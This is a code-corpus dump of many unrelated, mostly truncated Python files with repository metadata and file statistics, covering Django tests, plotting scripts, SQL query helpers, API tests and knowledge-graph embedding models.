] | null | null | null | brambling/tests/integration/test_stripe.py | j-po/django-brambling | be072903fbdecb94f1ec4680b717adc44e73c80b | [
"BSD-3-Clause"
] | null | null | null | brambling/tests/integration/test_stripe.py | j-po/django-brambling | be072903fbdecb94f1ec4680b717adc44e73c80b | [
"BSD-3-Clause"
] | null | null | null | from decimal import Decimal
from django.test import TestCase
import stripe
from brambling.models import Event, Transaction
from brambling.tests.factories import EventFactory, OrderFactory
from brambling.utils.payment import stripe_prep, stripe_charge, stripe_refund
class StripeTestCase(TestCase):
def test_charg... | 39.383178 | 122 | 0.62411 | 468 | 4,214 | 5.438034 | 0.16453 | 0.10609 | 0.037721 | 0.056582 | 0.798428 | 0.798428 | 0.798428 | 0.798428 | 0.798428 | 0.798428 | 0 | 0.042705 | 0.266493 | 4,214 | 106 | 123 | 39.754717 | 0.780654 | 0.023968 | 0 | 0.719101 | 0 | 0 | 0.049172 | 0 | 0 | 0 | 0 | 0 | 0.247191 | 1 | 0.022472 | false | 0 | 0.067416 | 0 | 0.101124 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
971a8332c9d4e35a7894867d57e7c6b929706481 | 63 | py | Python | backend/app/views/insert_parts_on_backbones/__init__.py | Edinburgh-Genome-Foundry/CUBA | d57565951ead619ef9263e8b356b451001fb910f | [
"MIT"
] | 15 | 2018-02-12T13:12:13.000Z | 2021-08-15T11:37:59.000Z | backend/app/views/insert_parts_on_backbones/__init__.py | Edinburgh-Genome-Foundry/CUBA | d57565951ead619ef9263e8b356b451001fb910f | [
"MIT"
] | 9 | 2020-06-05T17:54:54.000Z | 2022-02-12T12:03:19.000Z | backend/app/views/insert_parts_on_backbones/__init__.py | Edinburgh-Genome-Foundry/CUBA | d57565951ead619ef9263e8b356b451001fb910f | [
"MIT"
] | 3 | 2018-10-18T13:08:50.000Z | 2020-08-17T14:09:46.000Z | from .InsertPartsOnBackbones import InsertPartsOnBackbonesView
| 31.5 | 62 | 0.920635 | 4 | 63 | 14.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063492 | 63 | 1 | 63 | 63 | 0.983051 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
97889375c18a09949667b77fbeccec409b0f0458 | 68 | py | Python | jmdict/__init__.py | agent-whisper/jmdict-xml-wrapper | 8befb81d5aee8977293785e2b24bf8067351b3ea | [
"MIT"
] | 2 | 2021-04-12T14:20:12.000Z | 2021-06-23T12:44:15.000Z | jmdict/__init__.py | agent-whisper/jmdict-xml-wrapper | 8befb81d5aee8977293785e2b24bf8067351b3ea | [
"MIT"
] | null | null | null | jmdict/__init__.py | agent-whisper/jmdict-xml-wrapper | 8befb81d5aee8977293785e2b24bf8067351b3ea | [
"MIT"
] | null | null | null | from .xml.models import JMDict
from .xml.engine import JMDictEngine
| 22.666667 | 36 | 0.823529 | 10 | 68 | 5.6 | 0.7 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 68 | 2 | 37 | 34 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
979a8b0ba9d0a987048a88f3289283f0f02d7bb8 | 152 | py | Python | configs/oscar/oscar_gqa.py | linxi1158/iMIX | af87a17275f02c94932bb2e29f132a84db812002 | [
"Apache-2.0"
] | 23 | 2021-06-26T08:45:19.000Z | 2022-03-02T02:13:33.000Z | configs/oscar/oscar_gqa.py | XChuanLee/iMIX | 99898de97ef8b45462ca1d6bf2542e423a73d769 | [
"Apache-2.0"
] | null | null | null | configs/oscar/oscar_gqa.py | XChuanLee/iMIX | 99898de97ef8b45462ca1d6bf2542e423a73d769 | [
"Apache-2.0"
] | 9 | 2021-06-10T02:36:20.000Z | 2021-11-09T02:18:16.000Z | _base_ = [
'../_base_/models/oscar/oscar_gqa_config.py',
'../_base_/datasets/oscar/oscar_gqa_dataset.py',
'../_base_/default_runtime.py',
]
| 25.333333 | 52 | 0.671053 | 19 | 152 | 4.684211 | 0.526316 | 0.224719 | 0.292135 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 152 | 5 | 53 | 30.4 | 0.669173 | 0 | 0 | 0 | 0 | 0 | 0.756579 | 0.756579 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
97aecfeca586e462c94b489ef6b1e8c429068da8 | 9,639 | py | Python | sleuth_backend/tests/test_views.py | ubclaunchpad/sleuth | 7b7be0b7097a26169e17037f4220fd0ce039bde1 | [
"MIT"
] | 12 | 2017-09-17T02:14:35.000Z | 2022-01-09T10:14:59.000Z | sleuth_backend/tests/test_views.py | ubclaunchpad/sleuth | 7b7be0b7097a26169e17037f4220fd0ce039bde1 | [
"MIT"
] | 92 | 2017-09-16T23:50:45.000Z | 2018-01-02T01:56:33.000Z | sleuth_backend/tests/test_views.py | ubclaunchpad/sleuth | 7b7be0b7097a26169e17037f4220fd0ce039bde1 | [
"MIT"
] | 5 | 2017-12-26T01:47:36.000Z | 2021-12-31T11:15:07.000Z | import json
import pysolr
from django.test import TestCase
from django.http import HttpResponse
from unittest.mock import MagicMock, patch
from sleuth_backend.views.views import cores, search, getdocument
class MockGet(object):
def __init__(self, params):
self.params = params
def get(self, param, def... | 44.419355 | 335 | 0.599855 | 993 | 9,639 | 5.649547 | 0.119839 | 0.078431 | 0.08984 | 0.10107 | 0.808734 | 0.752406 | 0.737433 | 0.722816 | 0.715152 | 0.674688 | 0 | 0.012414 | 0.247847 | 9,639 | 216 | 336 | 44.625 | 0.761379 | 0.015251 | 0 | 0.510753 | 0 | 0 | 0.221367 | 0.057477 | 0 | 0 | 0 | 0 | 0.155914 | 1 | 0.048387 | false | 0 | 0.032258 | 0.005376 | 0.102151 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
97d096b5ae42717946e175bd22dc2bf7e8a65f62 | 50 | py | Python | koocook_core/management/commands/_scrape/__init__.py | KooCook/koocook-dj | 33bfaf48e8363013ddd083d5d8542496c50fd5d3 | [
"BSD-3-Clause"
] | 1 | 2020-10-19T04:44:49.000Z | 2020-10-19T04:44:49.000Z | koocook_core/management/commands/_scrape/__init__.py | KooCook/koocook-dj | 33bfaf48e8363013ddd083d5d8542496c50fd5d3 | [
"BSD-3-Clause"
] | 26 | 2019-11-11T03:37:03.000Z | 2019-12-15T23:18:18.000Z | koocook_core/management/commands/_scrape/__init__.py | KooCook/koocook-dj | 33bfaf48e8363013ddd083d5d8542496c50fd5d3 | [
"BSD-3-Clause"
] | 1 | 2020-11-08T14:36:21.000Z | 2020-11-08T14:36:21.000Z | from . import allrecipes
from . import epicurious
| 16.666667 | 24 | 0.8 | 6 | 50 | 6.666667 | 0.666667 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.16 | 50 | 2 | 25 | 25 | 0.952381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c13f8a1eb91051df5fc2f34cdddce6347ea4cecb | 119 | py | Python | example/asr/text.py | rosinality/imputer-pytorch | 7ff8f73dcd7bd62a98c5b8a126946c5fe381d895 | [
"MIT"
] | 41 | 2020-04-21T08:24:07.000Z | 2021-12-03T06:12:39.000Z | example/asr/text.py | rosinality/imputer-pytorch | 7ff8f73dcd7bd62a98c5b8a126946c5fe381d895 | [
"MIT"
] | null | null | null | example/asr/text.py | rosinality/imputer-pytorch | 7ff8f73dcd7bd62a98c5b8a126946c5fe381d895 | [
"MIT"
] | 3 | 2020-09-29T08:50:38.000Z | 2021-05-11T08:57:37.000Z | import re
re_whitespace = re.compile(r'\s+')
def collapse_whitespace(text):
return re_whitespace.sub(' ', text)
| 14.875 | 39 | 0.705882 | 17 | 119 | 4.764706 | 0.647059 | 0.296296 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.151261 | 119 | 7 | 40 | 17 | 0.80198 | 0 | 0 | 0 | 0 | 0 | 0.033613 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.25 | 0.75 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
c14d3ba8ee9a635496f91eb73be1197731c2b1be | 37,600 | py | Python | makegraph.py | aviramlachmani/flsim-E3CS-impl | 8129f581dada4f20b8b2bfe66cf79d30b5d84677 | [
"Apache-2.0"
] | null | null | null | makegraph.py | aviramlachmani/flsim-E3CS-impl | 8129f581dada4f20b8b2bfe66cf79d30b5d84677 | [
"Apache-2.0"
] | null | null | null | makegraph.py | aviramlachmani/flsim-E3CS-impl | 8129f581dada4f20b8b2bfe66cf79d30b5d84677 | [
"Apache-2.0"
] | null | null | null | import os.path
import matplotlib.pyplot as plt
from matplotlib.legend_handler import HandlerLine2D
import numpy as np
def graph():
# graph EMNIST-Letter, iid, FedAvg-based
round_t = []
emnist_random_iid_a = [0] * 400
emnist_FedCS_iid_a = [0] * 400
emnist_pow_d_iid_a = [0] * 400
emnist_E3CS_0_i... | 38.133874 | 88 | 0.555186 | 5,538 | 37,600 | 3.353738 | 0.019321 | 0.05298 | 0.045981 | 0.044473 | 0.986378 | 0.974425 | 0.947451 | 0.884025 | 0.858989 | 0.827653 | 0 | 0.05579 | 0.345 | 37,600 | 985 | 89 | 38.172589 | 0.698351 | 0.015186 | 0 | 0.516237 | 0 | 0 | 0.130377 | 0.101005 | 0 | 0 | 0 | 0 | 0 | 1 | 0.00112 | false | 0 | 0.004479 | 0 | 0.005599 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c15e1e68b417c22602fac4356852de590f27209c | 21,242 | py | Python | SBaaS_quantification/stage01_quantification_peakInformation_query.py | dmccloskey/SBaaS_quantification | b2a9c7a9a0d318f22ff20e311f94c213852ba914 | [
"MIT"
] | null | null | null | SBaaS_quantification/stage01_quantification_peakInformation_query.py | dmccloskey/SBaaS_quantification | b2a9c7a9a0d318f22ff20e311f94c213852ba914 | [
"MIT"
] | null | null | null | SBaaS_quantification/stage01_quantification_peakInformation_query.py | dmccloskey/SBaaS_quantification | b2a9c7a9a0d318f22ff20e311f94c213852ba914 | [
"MIT"
] | null | null | null | from .stage01_quantification_peakInformation_postgresql_models import *
from SBaaS_base.sbaas_base_query_update import sbaas_base_query_update
from SBaaS_base.sbaas_base_query_drop import sbaas_base_query_drop
from SBaaS_base.sbaas_base_query_initialize import sbaas_base_query_initialize
from SBaaS_base.sbaas_base_que... | 57.410811 | 211 | 0.652669 | 2,154 | 21,242 | 5.985608 | 0.063603 | 0.171023 | 0.199721 | 0.21407 | 0.866362 | 0.812379 | 0.746529 | 0.688436 | 0.654774 | 0.620181 | 0 | 0.016949 | 0.263958 | 21,242 | 370 | 212 | 57.410811 | 0.807675 | 0.121552 | 0 | 0.660256 | 0 | 0 | 0.221528 | 0.132529 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041667 | false | 0 | 0.025641 | 0 | 0.105769 | 0.051282 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c1b41e940cc0828bc4ad39d63e2de50ecbfff59c | 177 | py | Python | diting/__init__.py | WenlongShen/Diting | d6776105679be37f81b24b2d7ba5b20def28253b | [
"MIT"
] | null | null | null | diting/__init__.py | WenlongShen/Diting | d6776105679be37f81b24b2d7ba5b20def28253b | [
"MIT"
] | null | null | null | diting/__init__.py | WenlongShen/Diting | d6776105679be37f81b24b2d7ba5b20def28253b | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# coding: utf-8
from diting.utils import *
from diting.parse import *
from diting.encoding import *
from diting.models import *
from diting.plot import *
| 19.666667 | 29 | 0.751412 | 27 | 177 | 4.925926 | 0.555556 | 0.37594 | 0.481203 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006623 | 0.146893 | 177 | 8 | 30 | 22.125 | 0.874172 | 0.19209 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
c1df5c68918364d1ee130d155125e6b4ca0febbb | 3,806 | py | Python | tests/test_api.py | DominikZabron/tracker | d26b444428682de3e9c918418b7186097d39db17 | [
"MIT"
] | null | null | null | tests/test_api.py | DominikZabron/tracker | d26b444428682de3e9c918418b7186097d39db17 | [
"MIT"
] | null | null | null | tests/test_api.py | DominikZabron/tracker | d26b444428682de3e9c918418b7186097d39db17 | [
"MIT"
] | null | null | null | import falcon
import pytest
import uuid
from mock import patch, MagicMock
from tracker.urls import app as application
application.req_options.auto_parse_form_urlencoded = True
mock = MagicMock()
mock.exists.return_value = 1
mock.setex = MagicMock()
mock.proc_req_delay = MagicMock()
@pytest.fixture
def app():
r... | 35.90566 | 77 | 0.709143 | 539 | 3,806 | 4.810761 | 0.152134 | 0.041651 | 0.034709 | 0.049364 | 0.824913 | 0.804088 | 0.778249 | 0.762823 | 0.732742 | 0.732742 | 0 | 0.01369 | 0.136364 | 3,806 | 105 | 78 | 36.247619 | 0.775175 | 0 | 0 | 0.651163 | 0 | 0 | 0.211508 | 0.09485 | 0 | 0 | 0 | 0 | 0.186047 | 1 | 0.093023 | false | 0 | 0.05814 | 0.011628 | 0.162791 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a9da23b02a106bf09f211285c1eadf1692b49b91 | 92 | py | Python | Introductory Problems/Two Knights.py | charlie219/CSES-Solutions | e082380cbb3ad74eaa9a55f71a2f9df904477ef2 | [
"MIT"
] | null | null | null | Introductory Problems/Two Knights.py | charlie219/CSES-Solutions | e082380cbb3ad74eaa9a55f71a2f9df904477ef2 | [
"MIT"
] | null | null | null | Introductory Problems/Two Knights.py | charlie219/CSES-Solutions | e082380cbb3ad74eaa9a55f71a2f9df904477ef2 | [
"MIT"
] | null | null | null | print(*[int(((x**2*(x**2-1))/2)-4*(x-1)*(x-2)) for x in range(1,int(input())+1)],sep='\n')
| 46 | 91 | 0.478261 | 23 | 92 | 1.913043 | 0.521739 | 0.136364 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.104651 | 0.065217 | 92 | 1 | 92 | 92 | 0.406977 | 0 | 0 | 0 | 0 | 0 | 0.021978 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
a9dbeed588769a487d0c3140087a6f2d11e9005c | 4,562 | py | Python | tests/cli/test_vehicle_hvac.py | slater0013/renault-api | 13c784b6af09331368341c93888f1eb32c46cb19 | [
"MIT"
] | 44 | 2020-11-01T15:52:33.000Z | 2022-03-31T04:40:03.000Z | tests/cli/test_vehicle_hvac.py | slater0013/renault-api | 13c784b6af09331368341c93888f1eb32c46cb19 | [
"MIT"
] | 334 | 2020-11-01T13:00:01.000Z | 2022-03-31T17:17:40.000Z | tests/cli/test_vehicle_hvac.py | slater0013/renault-api | 13c784b6af09331368341c93888f1eb32c46cb19 | [
"MIT"
] | 22 | 2020-11-20T08:26:26.000Z | 2022-03-11T18:58:31.000Z | """Test cases for the __main__ module."""
from aioresponses import aioresponses
from aioresponses.core import RequestCall
from click.testing import CliRunner
from tests import fixtures
from yarl import URL
from . import initialise_credential_store
from renault_api.cli import __main__
def test_hvac_history_day(
m... | 35.92126 | 87 | 0.690925 | 559 | 4,562 | 5.363148 | 0.182469 | 0.080053 | 0.058372 | 0.06004 | 0.825884 | 0.814877 | 0.79553 | 0.773516 | 0.773516 | 0.768846 | 0 | 0.040464 | 0.187418 | 4,562 | 126 | 88 | 36.206349 | 0.768276 | 0.056335 | 0 | 0.526882 | 0 | 0.010753 | 0.156243 | 0.006325 | 0 | 0 | 0 | 0 | 0.16129 | 1 | 0.064516 | false | 0 | 0.075269 | 0 | 0.139785 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e71e19623fff49ecfd7c465a6def6c1ea77542ac | 161 | py | Python | configs/configs.py | sunnyfloyd/panderyx | 82f03625159833930ff044a43a6619ab710ff159 | [
"MIT"
] | null | null | null | configs/configs.py | sunnyfloyd/panderyx | 82f03625159833930ff044a43a6619ab710ff159 | [
"MIT"
] | null | null | null | configs/configs.py | sunnyfloyd/panderyx | 82f03625159833930ff044a43a6619ab710ff159 | [
"MIT"
] | null | null | null | from typing import Union
from pydantic import BaseModel, HttpUrl, FilePath
class InputConfig(BaseModel):
path: Union[HttpUrl, FilePath]
extension: str
| 20.125 | 49 | 0.770186 | 19 | 161 | 6.526316 | 0.684211 | 0.241935 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.167702 | 161 | 7 | 50 | 23 | 0.925373 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e759e274a339dc35108d4d129079e7b48b08af66 | 210 | py | Python | ecommerce_api/core/discount/interfaces.py | victormartinez/ecommerceapi | a887d9e938050c15ebf52001f63d7aa7f33fa5ee | [
"MIT"
] | null | null | null | ecommerce_api/core/discount/interfaces.py | victormartinez/ecommerceapi | a887d9e938050c15ebf52001f63d7aa7f33fa5ee | [
"MIT"
] | null | null | null | ecommerce_api/core/discount/interfaces.py | victormartinez/ecommerceapi | a887d9e938050c15ebf52001f63d7aa7f33fa5ee | [
"MIT"
] | null | null | null | from abc import ABC, abstractmethod
from typing import Optional
class AbstractDiscountClient(ABC):
@abstractmethod
def get_discount_percentage(self, product_id: int) -> Optional[float]:
pass
| 21 | 74 | 0.752381 | 24 | 210 | 6.458333 | 0.75 | 0.219355 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.180952 | 210 | 9 | 75 | 23.333333 | 0.901163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.166667 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
e76c2ab06da8493e2b8bf1c91fdd1e227dd5d57e | 28,619 | py | Python | model.py | Otamio/kge-conve | eb2ed166cca57c8bc0d15649caddf4254c2edb9a | [
"Apache-2.0"
] | 34 | 2018-02-09T03:23:44.000Z | 2022-03-30T11:05:42.000Z | model.py | Otamio/kge-conve | eb2ed166cca57c8bc0d15649caddf4254c2edb9a | [
"Apache-2.0"
] | 8 | 2018-04-10T17:46:37.000Z | 2022-01-21T21:23:23.000Z | model.py | Otamio/kge-conve | eb2ed166cca57c8bc0d15649caddf4254c2edb9a | [
"Apache-2.0"
] | 13 | 2018-02-08T08:27:33.000Z | 2021-09-29T09:08:46.000Z | import torch
from torch.nn import functional as F, Parameter
from torch.autograd import Variable
from spodernet.utils.global_config import Config
from spodernet.utils.cuda_utils import CUDATimer
from torch.nn.init import xavier_normal_, xavier_uniform_
from spodernet.utils.cuda_utils import CUDATimer
from torch.nn.uti... | 36.457325 | 136 | 0.662672 | 4,302 | 28,619 | 4.089261 | 0.046025 | 0.084357 | 0.038085 | 0.032401 | 0.878411 | 0.859823 | 0.829923 | 0.804798 | 0.76711 | 0.740564 | 0 | 0.018824 | 0.220378 | 28,619 | 784 | 137 | 36.503827 | 0.769631 | 0.038925 | 0 | 0.683367 | 0 | 0 | 0.000734 | 0 | 0 | 0 | 0 | 0 | 0.002004 | 1 | 0.086172 | false | 0 | 0.022044 | 0 | 0.170341 | 0.01002 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e7b1681e8b4bed4d11e728a31b284abf4edeb649 | 20,288 | py | Python | tests/test_incremental.py | argos-education/piicatcher | 7370cad8a4938762311926e8ab3bc286232e7106 | [
"Apache-2.0"
] | 4 | 2019-07-10T08:52:56.000Z | 2019-10-23T13:58:18.000Z | tests/test_incremental.py | argos-education/piicatcher | 7370cad8a4938762311926e8ab3bc286232e7106 | [
"Apache-2.0"
] | 11 | 2019-03-21T11:28:07.000Z | 2019-08-30T12:13:28.000Z | tests/test_incremental.py | argos-education/piicatcher | 7370cad8a4938762311926e8ab3bc286232e7106 | [
"Apache-2.0"
] | 2 | 2019-03-21T11:06:49.000Z | 2019-03-27T06:05:52.000Z | import datetime
import time
from typing import Generator, Tuple
import pytest
from dbcat.api import scan_sources
from dbcat.catalog import Catalog
from pytest_cases import fixture
from piicatcher.api import scan_database
from piicatcher.generators import column_generator, data_generator
from piicatcher.output import ... | 34.503401 | 120 | 0.421284 | 1,585 | 20,288 | 5.102208 | 0.093375 | 0.051441 | 0.118709 | 0.129838 | 0.86571 | 0.853592 | 0.823791 | 0.792754 | 0.750711 | 0.720415 | 0 | 0.010828 | 0.481073 | 20,288 | 587 | 121 | 34.562181 | 0.757314 | 0.021885 | 0 | 0.599214 | 0 | 0 | 0.163591 | 0.034796 | 0 | 0 | 0 | 0 | 0.068762 | 1 | 0.013752 | false | 0 | 0.019646 | 0 | 0.033399 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
99d1a3e4f7301783f0156fbb00151839f2ac5baf | 111 | py | Python | keras_multi_head/__init__.py | SchenbergZY/keras-multi-head | f0004c5bb607e96299352605f064849b88a2a131 | [
"MIT"
] | null | null | null | keras_multi_head/__init__.py | SchenbergZY/keras-multi-head | f0004c5bb607e96299352605f064849b88a2a131 | [
"MIT"
] | null | null | null | keras_multi_head/__init__.py | SchenbergZY/keras-multi-head | f0004c5bb607e96299352605f064849b88a2a131 | [
"MIT"
] | null | null | null | from .multi_head import MultiHead
from .multi_head_attention import MultiHeadAttention
__version__ = '0.23.0'
| 22.2 | 52 | 0.828829 | 15 | 111 | 5.666667 | 0.666667 | 0.211765 | 0.305882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.040404 | 0.108108 | 111 | 4 | 53 | 27.75 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0.054054 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
99e116b7237f03eff1609054291f1cb063db29a8 | 10,510 | py | Python | reviewboard/webapi/tests/test_review_reply_diff_comment.py | pombredanne/reviewboard | 15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d | [
"MIT"
] | null | null | null | reviewboard/webapi/tests/test_review_reply_diff_comment.py | pombredanne/reviewboard | 15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d | [
"MIT"
] | null | null | null | reviewboard/webapi/tests/test_review_reply_diff_comment.py | pombredanne/reviewboard | 15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d | [
"MIT"
] | null | null | null | from reviewboard.reviews.models import Comment
from reviewboard.webapi.resources import resources
from reviewboard.webapi.tests.base import BaseWebAPITestCase
from reviewboard.webapi.tests.mimetypes import (
review_reply_diff_comment_item_mimetype,
review_reply_diff_comment_list_mimetype)
from reviewboard.webap... | 39.216418 | 79 | 0.654995 | 1,169 | 10,510 | 5.560308 | 0.098375 | 0.081538 | 0.048462 | 0.071077 | 0.824615 | 0.797538 | 0.746769 | 0.726154 | 0.720462 | 0.685692 | 0 | 0.000773 | 0.261085 | 10,510 | 267 | 80 | 39.363296 | 0.836209 | 0.040913 | 0 | 0.655172 | 0 | 0 | 0.04111 | 0.012672 | 0 | 0 | 0 | 0 | 0.08867 | 1 | 0.064039 | false | 0 | 0.034483 | 0 | 0.172414 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
99ea8df2c9e8d043195f4da9cedf839028c0de5d | 197 | py | Python | src/envs/__init__.py | jainraj/CISR_NeurIPS20 | 027957e4a26a36f6501c4f0e5e73cb9d78a53e66 | [
"MIT"
] | 16 | 2020-11-04T14:44:16.000Z | 2022-02-16T08:08:23.000Z | src/envs/__init__.py | jainraj/CISR_NeurIPS20 | 027957e4a26a36f6501c4f0e5e73cb9d78a53e66 | [
